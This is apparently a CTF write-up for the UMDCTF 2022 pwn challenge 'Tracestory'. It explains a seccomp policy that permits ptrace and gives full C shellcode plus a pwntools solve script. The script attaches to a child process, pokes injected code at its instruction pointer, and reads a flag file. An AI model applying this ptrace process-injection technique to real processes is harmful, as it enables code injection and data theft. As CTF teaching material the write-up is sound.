Tracestory

Tracestory was a pwn problem hosted at UMDCTF 2022 with just a single binary provided.

The program follows a simple flow of forking off a child process, setting a seccomp policy on itself and then executing shellcode from the user.

The read_story function follows a simple loop of opening a file readstory.txt and then reading it's contents into memory and then looping. A check is additionally performed to see if the current pid is even. If the pid is not even, then it will loop without reading the story.

Our first clue to solving the program comes with the debug print when first executing, where it will tell us the pid of the child process forked:

004018bd      if (debug != 0)
004018d1          printf(format: "[DEBUG] child pid: %d\n", zx.q(rax_1))

Our next step was seeing how the program is accepting our input. The program calls fgets with a length of 0x1000 on our input, which gives us no restrictions on bad characters and a lot of room to work with later.

Even though the logic looks complicated, it's effectively taking each byte from our fgets buffer and placing it into an RWX memory mapping from mmap.

And finally before we can just run our shellcode, we need to see what the seccomp policy that's been placed on us forces us to do within our shellcode. My teammate playoff-rando dumped the seccomp policy earlier in the problem and we can see if below:

=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x18 0xc000003e  if (A != ARCH_X86_64) goto 0026
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x15 0xffffffff  if (A != 0xffffffff) goto 0026
 0005: 0x15 0x13 0x00 0x00000003  if (A == close) goto 0025
 0006: 0x15 0x12 0x00 0x00000004  if (A == stat) goto 0025
 0007: 0x15 0x11 0x00 0x00000005  if (A == fstat) goto 0025
 0008: 0x15 0x10 0x00 0x00000006  if (A == lstat) goto 0025
 0009: 0x15 0x0f 0x00 0x0000000a  if (A == mprotect) goto 0025
 0010: 0x15 0x0e 0x00 0x0000000c  if (A == brk) goto 0025
 0011: 0x15 0x0d 0x00 0x00000015  if (A == access) goto 0025
 0012: 0x15 0x0c 0x00 0x00000018  if (A == sched_yield) goto 0025
 0013: 0x15 0x0b 0x00 0x00000020  if (A == dup) goto 0025
 0014: 0x15 0x0a 0x00 0x00000021  if (A == dup2) goto 0025
 0015: 0x15 0x09 0x00 0x00000038  if (A == clone) goto 0025
 0016: 0x15 0x08 0x00 0x0000003c  if (A == exit) goto 0025
 0017: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0025
 0018: 0x15 0x06 0x00 0x00000050  if (A == chdir) goto 0025
 0019: 0x15 0x05 0x00 0x00000051  if (A == fchdir) goto 0025
 0020: 0x15 0x04 0x00 0x00000060  if (A == gettimeofday) goto 0025
 0021: 0x15 0x03 0x00 0x00000065  if (A == ptrace) goto 0025
 0022: 0x15 0x02 0x00 0x00000066  if (A == getuid) goto 0025
 0023: 0x15 0x01 0x00 0x00000068  if (A == getgid) goto 0025
 0024: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x06 0x00 0x00 0x00000000  return KILL

The code block above doesn't give us much to work with except for the PTRACE call. This system call is exposed by linux to enable one process to debug another. This means that the challenge author intends for us to attach to the child process and do something ptrace to it.

Ptrace offers a handful of useful features, including setting and getting current program registers along with reading and writing data to the process. My first thought when reading this was to use ptrace to read the bytes out of the buffer holding storytext.txt, and I have that PoC at the bottom, but ultimately the flag was not stored in that file, but instead in a file called flag.

The next option that some teams choose to do was to use ptrace to nop out portions of the running child to slide the read bytes from the file into a debug call and to patch in the flag file into the open call. This approach would have been way easier that what is going to follow.

Based off playoff-rando's original stab at this problem my starting code to interact with the problems looks like the following:

io = remote("0.cloud.chals.io", 15148)
# io = elf.process()
# io = process("/usr/bin/strace -D ./trace_story", shell=True)

# gdb.attach(io,"""
# b *0x00401907
# c
# """)

io.readuntil("[DEBUG] child pid: ")
pid_str = io.readline().strip().split()[-1]
pid = int(pid_str)
print("Pid",pid)

sc_len = int((len(inject_data)-3)/3) + 1

test_code = code.format(pid, inject_data, sc_len)

data = compile_code(test_code)
io.send(data)
io.clean()
io.interactive()

This problem wants to send in a ton of shellcode and I knew if I wanted to interact with another process, then hand-jamming all the shellcode was going to be tough and I needed a better tool.

ragg2

There is like one example of anyone using ragg2 online, so I'm hoping for this post to be the second. ragg2 is designed to take in c code and output position independent shellcode for use in cases just like this!

The work flow I wanted to enable was a piece of shellcode that could inject another piece of shellcode. I wanted to overwrite the child process's program counter and beyond with my shellcode that arbitrarily does anything. So to do so, I need two pieces of code that could compile with ragg2.

My first snippet is what eventually I learned the child process needed to execute to give me the flag, but ultimately this could have been a reverse shell instead of writing to stdout.

main()
{
    char buf[100];
    int i = 0;
    int fd = open("flag",0,0);
    read(fd, buf, 100);
    write(1, buf, 100);

    exit(-8);
}

The program above will open the flag file, and read it's contents, then write those bytes out to stdout. Since the parent process doesn't close those file descriptors we can reuse those and we'll see the bytes.

The following snippet took me the majority of the CTF to write and when ragg2 generates shellcode, I've learned that inner if-else statements will occasionally just segfault and you'll need to add some __asm__("nop"); statements before executing any other code to enable it to run without seg faulting.

struct user_regs_struct
{
   unsigned long long int r15;
   unsigned long long int r14;
   unsigned long long int r13;
   unsigned long long int r12;
   unsigned long long int rbp;
   unsigned long long int rbx;
   unsigned long long int r11;
   unsigned long long int r10;
   unsigned long long int r9;
   unsigned long long int r8;
   unsigned long long int rax;
   unsigned long long int rcx;
   unsigned long long int rdx;
   unsigned long long int rsi;
   unsigned long long int rdi;
   unsigned long long int orig_rax;
   unsigned long long int rip;
   unsigned long long int cs;
   unsigned long long int eflags;
   unsigned long long int rsp;
   unsigned long long int ss;
   unsigned long long int fs_base;
   unsigned long long int gs_base;
   unsigned long long int ds;
   unsigned long long int es;
   unsigned long long int fs;
   unsigned long long int gs;
};

void fake_sleep(int seconds)
{
    struct timeval {
        long     tv_sec;
        long    tv_usec;
    };
    long long t;
    
    struct timeval t1, t2;
    gettimeofday(&t1, 0);
    while(t2.tv_sec < (t1.tv_sec + seconds))
    {
        gettimeofday(&t2, 0);
    }
}

int
poke (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
        return -1;
        }
    }
  return 0;
}

main() {

    unsigned long long ptr = 0;
    unsigned long pid = PID_HERE;

    struct user_regs_struct regs;

    unsigned char * shellcode = SHELLCODE_HERE;

    ptrace(PTRACE_ATTACH,pid,0,0);
    ptrace(PTRACE_SINGLESTEP,pid,0,0);
    ptrace(PTRACE_GETREGS,pid,0,&regs);

    while(regs.rax != pid)
    {
        ptrace(PTRACE_ATTACH,pid,0,0);
        ptrace(PTRACE_SINGLESTEP,pid,0,0);
        ptrace(PTRACE_GETREGS,pid,0,&regs);
    }

    fake_sleep(1);

    unsigned long long addr = regs.rip;

    poke (pid, shellcode, (void*)addr, SHELLCODE_LENGTH_HERE);

    ptrace(PTRACE_CONT, pid, 0, 0);

    fake_sleep(10);

    return 0;
}

There were a couple notes about this problem that required some unique solutions. First, we couldn't call wait after using a PTRACE operation, so we couldn't guarantee we were attached after a PTRACE call. So my solution was to call ATTACH and GETREGS over and over until I got an RAX value that I recognized. I knew it would call get_pid() to get it's current pid and I could use that as a marker of successful attachment.

I also learned that I couldn't PTRACE_POKE right away. Every guide I've read online shows that it should be okay, but I found adding in a sleep(1) call seemed to stabilize the whole thing. Sleep was also a seccomp blocked syscall, so I recreated it using an allowed syscall gettimeofday to just busy wait during the sleep.

void fake_sleep(int seconds)
{
    struct timeval {
        long     tv_sec;
        long    tv_usec;
    };
    long long t;
    
    struct timeval t1, t2;
    gettimeofday(&t1, 0);
    while(t2.tv_sec < (t1.tv_sec + seconds))
    {
        gettimeofday(&t2, 0);
    }
}

Since we can't include headers, all structs that I needed to interact with, I had to redefine myself either inline or above the functions. sleep required the timeval struct and with a slight modification to the tv_sec field, it finally compiled.

Finally my poke function took a while to get just right, I was using 8 byte writes initially for all my pokedata, but learned that it wrote in 4 byte longs, and not 8 bytes.

Since we're using PTRACE's api to interact with the process and those reads and writes go through the kernel, it doesn't matter what the memory region we're POKEing has set permissions-wise. So we can happily poke data into the RX mappings of a running process at it's current program counter.

My final solve is below:

from pwn import *
import subprocess
context.binary = elf = ELF("./trace_story")

cmd = "ragg2 -a x86 -b 64 trace_code.c 2>/dev/null"
cmd2 = "ragg2 -a x86 -b 64 -z trace_code.c 2>/dev/null"

injected_code = """
main()
{{
    char buf[100];
    int i = 0;
    int fd = open("flag",0,0);
    read(fd, buf, 100);
    write(1, buf, 100);

    exit(-8);
}}
"""

code = """
struct user_regs_struct
{{
   unsigned long long int r15;
   unsigned long long int r14;
   unsigned long long int r13;
   unsigned long long int r12;
   unsigned long long int rbp;
   unsigned long long int rbx;
   unsigned long long int r11;
   unsigned long long int r10;
   unsigned long long int r9;
   unsigned long long int r8;
   unsigned long long int rax;
   unsigned long long int rcx;
   unsigned long long int rdx;
   unsigned long long int rsi;
   unsigned long long int rdi;
   unsigned long long int orig_rax;
   unsigned long long int rip;
   unsigned long long int cs;
   unsigned long long int eflags;
   unsigned long long int rsp;
   unsigned long long int ss;
   unsigned long long int fs_base;
   unsigned long long int gs_base;
   unsigned long long int ds;
   unsigned long long int es;
   unsigned long long int fs;
   unsigned long long int gs;
}};

void fake_sleep(int seconds)
{{
    struct timeval {{
        long     tv_sec;
        long    tv_usec;
    }};
    long long t;
    
    struct timeval t1, t2;
    gettimeofday(&t1, 0);
    while(t2.tv_sec < (t1.tv_sec + seconds))
    {{
        gettimeofday(&t2, 0);
    }}
}}

int
poke (pid_t pid, unsigned char *src, void *dst, int len)
{{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {{
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {{
        return -1;
        }}
    }}
  return 0;
}}

main() {{

    unsigned long long ptr = 0;
    unsigned long pid = {};

    struct user_regs_struct regs;

    unsigned char * shellcode = {};

    ptrace(PTRACE_ATTACH,pid,0,0);
    ptrace(PTRACE_SINGLESTEP,pid,0,0);
    ptrace(PTRACE_GETREGS,pid,0,&regs);

    while(regs.rax != pid)
    {{
        ptrace(PTRACE_ATTACH,pid,0,0);
        ptrace(PTRACE_SINGLESTEP,pid,0,0);
        ptrace(PTRACE_GETREGS,pid,0,&regs);
    }}

    fake_sleep(1);

    unsigned long long addr = regs.rip;

    poke (pid, shellcode, (void*)addr, {});

    ptrace(PTRACE_CONT, pid, 0, 0);

    fake_sleep(10);

    return 0;
}}"""

def compile_code(code):
    with open("trace_code.c", "w") as f:
        f.write(code)
    
    output = subprocess.check_output(cmd, shell=True)
    data = output.split(b'\n')[1].decode()
    data_bytes = bytes.fromhex(data)
    return data_bytes

def compile_inject_code(code):
    with open("trace_code.c", "w") as f:
        f.write(code)
    
    output = subprocess.check_output(cmd2, shell=True)
    data = output.split(b'\n')[1].decode()
    return data

io = remote("0.cloud.chals.io", 15148)
# io = elf.process()
# io = process("/usr/bin/strace -D ./trace_story", shell=True)

# gdb.attach(io,"""
# b *0x00401907
# c
# """)

io.readuntil("[DEBUG] child pid: ")
pid_str = io.readline().strip().split()[-1]
pid = int(pid_str)
print("Pid",pid)
PTRACE = 0x65

inject_code = injected_code

inject_data = compile_inject_code(inject_code)
print(inject_data)
print((len(inject_data)-3)/3)

sc_len = int((len(inject_data)-3)/3) + 1


temp_bytes = inject_data.replace("\"","")
temp_bytes = temp_bytes.replace("\\x","")
print(temp_bytes)
temp_bytes = bytes.fromhex(temp_bytes)

for i in range(0,len(temp_bytes),8):
    print(temp_bytes[i:i+8])
test_code = code.format(pid, inject_data, sc_len)

data = compile_code(test_code)
io.send(data)
io.clean()
io.interactive()

Last updated